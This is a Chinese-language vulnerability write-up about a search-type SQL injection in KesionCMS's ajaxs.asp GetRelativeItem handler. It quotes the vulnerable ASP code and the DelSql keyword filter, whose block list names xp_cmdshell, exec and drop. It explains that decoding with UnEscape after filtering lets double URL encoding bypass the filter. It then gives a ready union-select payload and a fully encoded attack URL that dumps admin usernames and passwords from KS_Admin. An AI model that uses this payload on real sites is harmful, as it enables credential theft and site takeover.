先我们来看代码
| 代码如下 | 复制代码 |
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Dim KS:Set KS=New PublicCls Dim Action Action=KS.S("Action") Select Case Action Case "Ctoe" CtoE Case "GetTags" GetTags Case "GetRelativeItem" GetRelativeItem //问题函数 ...skip... Case "getonlinelist" getonlinelist End Select Sub GetRelativeItem() //漏洞函数开始 Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置，只调用ks.s函数，无其它过滤。 Dim Rtitle:rtitle=lcase(KS.G("rtitle")) Dim RKey:Rkey=lcase(KS.G("Rkey")) Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid")) Dim ID:ID=KS.ChkClng(KS.G("ID")) Dim Param,RS,SQL,k,SqlStr If Key<>"" Then If (Rtitle="true" Or RKey="true") Then If Rtitle="true" Then param=Param & " title like '%" & key & "%'"//类似搜索型注入漏洞。 end if If Rkey="true" Then If Param="" Then Param=Param & " keywords like '%" & key & "%'" Else Param=Param & " or keywords like '%" & key & "%'" End If End If Else Param=Param & " keywords like '%" & key & "%'" End If End If If Param<>"" Then Param=" where InfoID<>" & id & " and (" & param & ")" else Param=" where InfoID<>" & id end if If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID Param=Param & " and verific=1" SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查询 Set RS=Server.CreateObject("ADODB.RECORDSET") RS.Open SqlStr,conn,1,1 If Not RS.Eof Then SQL=RS.GetRows(-1) End If RS.Close |
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如果配合Unescape()函数，刚过滤不会生效。可以采用unicode编码方式，则不会在浏览器中出现被过滤的字符。例如，单引号可以编码为。%2527，经过解码后还是“'”号，这样的话，就可以利用类似php的二次编码漏洞的方式绕过过滤了。
注入语句：%') union select 1,2,username+'|'+ password from KS_Admin
转换如下：
| 代码如下 | 复制代码 |
| /plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500 | |
先进行了过滤，然后才调用UnEscape解码，
| 代码如下 | 复制代码 |
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Public Function S(Str) S = DelSql(Replace(Replace(Request(Str), "'", ""), """", "")) Function DelSql(Str) Dim SplitSqlStr,SplitSqlArr,I SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell" SplitSqlArr = Split(SplitSqlStr,"|") For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr) If Instr(LCase(Str),SplitSqlArr(I))>0 Then Die "<script>alert('系统警告！nn1、您提交的数据有恶意字符" & SplitSqlArr(I) &";n2、您的数据已经被记录;n3、您的IP："&GetIP&";n4、操作日期："&Now&";n Powered By Kesion.Com!');window.close();</script>" End if Next DelSql = Str End Function |
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这样我们还是开头的那句话使用unescape()函数或者不使用本函数。
时间： 2024-10-14 16:38:27